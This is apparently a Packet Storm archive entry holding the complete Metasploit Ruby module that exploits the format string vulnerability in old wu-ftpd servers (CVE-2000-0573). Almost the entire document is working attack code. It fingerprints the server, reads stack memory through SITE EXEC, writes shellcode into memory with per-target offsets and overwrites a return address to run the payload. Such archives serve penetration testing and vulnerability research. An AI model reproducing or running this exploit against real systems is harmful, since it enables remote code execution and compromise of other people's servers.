Wu-ftpd SITE EXEC/INDEX Format String Vulnerability

2009-12-31T00:00:00
ID PACKETSTORM:84534
Type packetstorm
Reporter jduck
Modified 2009-12-31T00:00:00

Description

                                        
                                            `###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::FormatString  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'wu-ftpd SITE EXEC/INDEX Format String Vulnerability',  
'Description' => %q{  
This module exploits a format string vulnerability in versions of the  
Washington University FTP server older than 2.6.1. By executing   
specially crafted SITE EXEC or SITE INDEX commands containing format   
specifiers, an attacker can corrupt memory and execute arbitrary code.  
},  
'Author' =>  
[  
'jduck'  
],  
'References' =>  
[  
['OSVDB', '11805'],  
['CVE', '2000-0573'],  
['BID', '1387']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'PrependChrootBreak' => true  
},  
'Privileged' => true,  
'Payload' =>  
{  
# format string max length  
'Space' => 256,  
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)  
'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",  
'DisableNops' => 'True',  
'StackAdjustment' => -1500  
},  
'Platform' => [ 'linux' ],  
'Targets' =>  
[  
#  
# Automatic targeting via fingerprinting  
#  
[ 'Automatic Targeting', { 'auto' => true } ],  
  
#  
# specific targets  
#  
[ 'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',  
{  
'UseDPA' => false,  
'PadBytes' => 3,  
'NumPops' => 8,  
'AddrPops' => 100,  
'Offset' => -2088, # offset to stack return  
'Writable' => 0xbfffde26, # stack, avoid badchars  
'FlowHook' => -1, # auto now... 0xbffff1e4 # stack return addr  
}  
],  
# these aren't exploitable (using built-in, stripped down vsprintf, no %n)  
#[ 'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',  
#[ 'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',  
#[ 'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',  
[ 'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',  
{  
'UseDPA' => true,  
'PadBytes' => 2,  
'NumPops' => 276,  
'AddrPops' => 2,  
'Offset' => -17664, # offset to stack return  
'Writable' => 0x806e726, # bss  
#'Writable' => 0xbfff0126, # stack, avoid badchars  
'FlowHook' => -1, # auto now... 0xbfffb028 # stack return addr  
#'FlowHook' => 0x806e1e0 # GOT of sprintf  
}  
],  
  
#  
# this one will detect the parameters automagicly  
#  
[ 'Debug',  
{  
'UseDPA' => false,  
'PadBytes' => 0,  
'NumPops' => 0,  
'AddrPops' => -1,  
'Offset' => -1,  
'Writable' => 0x41414242, #   
'FlowHook' => 0x43434545 #   
}  
],  
],  
'DefaultTarget' => 0))  
register_options(  
[  
Opt::RPORT(21),  
], self.class )  
end  
  
  
def check  
connect_login  
print_status("FTP Banner: #{banner.strip}")  
status = Exploit::CheckCode::Safe  
if banner =~ /Version wu-2\.(4|5)/  
status = Exploit::CheckCode::Appears  
elsif banner =~ /Version wu-2\.6\.0/  
status = Exploit::CheckCode::Appears  
end  
  
# NOTE: vulnerable and exploitable might not mean the same thing here :)  
if not fmtstr_detect_vulnerable  
status = Exploit::CheckCode::Safe  
end  
if not fmtstr_detect_exploitable  
status = Exploit::CheckCode::Safe  
end  
disconnect  
return status  
end  
  
  
def exploit  
  
connect_login  
  
# Use a copy of the target  
mytarget = target  
  
if (target['auto'])  
mytarget = nil  
  
print_status("Automatically detecting the target...")  
if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then  
print_status("FTP Banner: #{banner.strip}")  
version = m[1]  
else  
print_status("No matching target")  
return  
end  
  
regexp = Regexp.escape(version)  
self.targets.each do |t|  
if (t.name =~ /#{regexp}/) then  
mytarget = t  
break  
end  
end  
  
if (not mytarget)  
print_status("No matching target")  
return  
end  
  
print_status("Selected Target: #{mytarget.name}")  
else  
print_status("Trying target #{mytarget.name}...")  
if banner  
print_status("FTP Banner: #{banner.strip}")  
end  
end  
  
# proceed with chosen target...  
  
# detect stuff!  
if mytarget.name == "Debug"  
#fmtstr_set_caps(true, true)  
# dump the stack, so we can detect stuff magically  
print_status("Dumping the stack...")  
stack = Array.new  
extra = "aaaabbbb"  
1000.times do |x|  
dw = fmtstr_stack_read(x+1, extra)  
break if not dw  
stack << dw  
end  
  
stack_data = stack.pack('V*')  
print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))  
  
# detect the number of pad bytes  
idx = stack_data.index("aaaabbbb")  
if not idx  
print_status("Whoa, didn't find the static bytes on the stack!")  
return  
end  
num_pad = 0  
num_pad = 4 - (idx % 4) if (idx % 4)  
mytarget.opts['PadBytes'] = num_pad  
  
# calculate the number of pops needed to hit our addr  
num_pops = (idx + num_pad) / 4  
mytarget.opts['NumPops'] = num_pops  
else  
num_pad = mytarget['PadBytes']  
num_pops = mytarget['NumPops']  
sc_loc = mytarget['Writable']  
ret = mytarget['FlowHook']  
end  
  
print_status("Number of pad bytes: #{num_pad}")  
print_status("Number of pops: #{num_pops}")  
  
# debugging -> don't try it!  
return if mytarget.name == "Debug"  
#print_status("ATTACH!")  
#sleep(5)  
  
fmtstr_detect_caps  
  
# compute the stack return address using the fmt to leak memory  
addr_pops = mytarget['AddrPops']  
offset = mytarget['Offset']  
if addr_pops > 0  
stackaddr = fmtstr_stack_read(addr_pops)  
print_status("Read %#x from offset %d" % [stackaddr, addr_pops])  
ret = stackaddr + offset  
end  
  
print_status("Writing shellcode to: %#x" % sc_loc)  
print_status("Hijacking control via %#x" % ret)  
  
  
# no extra bytes before the padding..  
num_start = 0  
  
# write shellcode to 'writable'  
arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget)  
  
# process it in groups of 24 (max ~400 bytes per command)  
sc_num = 1  
while arr.length > 0  
print_status("Sending part #{sc_num} of the payload...")  
sc_num += 1  
  
narr = arr.slice!(0..24)  
  
fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget)  
# a space allows the next part to start with a '/'  
fmtbuf[num_pad-1,1] = " "  
fmtbuf.gsub!(/\xff/, "\xff\xff")  
if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))  
if res[0,4] == "500 "  
throw "Crap! Something went wrong when uploading the payload..."  
end  
end  
end  
  
  
# write 'writable' addr to flowhook (execute shellcode)  
# NOTE: the resulting two writes must be done at the same time  
print_status("Attempting to write %#x to %#x.." % [sc_loc, ret])  
  
fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget)  
# a space allows the next part to start with a '/'  
fmtbuf[num_pad-1,1] = " "  
fmtbuf.gsub!(/\xff/, "\xff\xff")  
# don't wait for the response here :)  
res = send_cmd(['SITE', 'EXEC', fmtbuf], false)  
  
print_status("Your payload should have executed now...")  
handler  
end  
  
  
#  
# these two functions are used to read stack memory  
# (used by fmtstr_stack_read()  
#  
def trigger_fmt(fmtstr)  
return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2))  
send_cmd(['SITE', 'EXEC', 'x', fmtstr], true)  
end  
  
def extract_fmt_output(res)  
if res[0,4] == "500 "  
#throw "Crap! Something went wrong while dumping the stack..."  
return nil  
end  
ret = res.strip.split(/\r?\n/)[0]  
ret = ret[6,ret.length]  
return ret  
end  
  
  
end  
`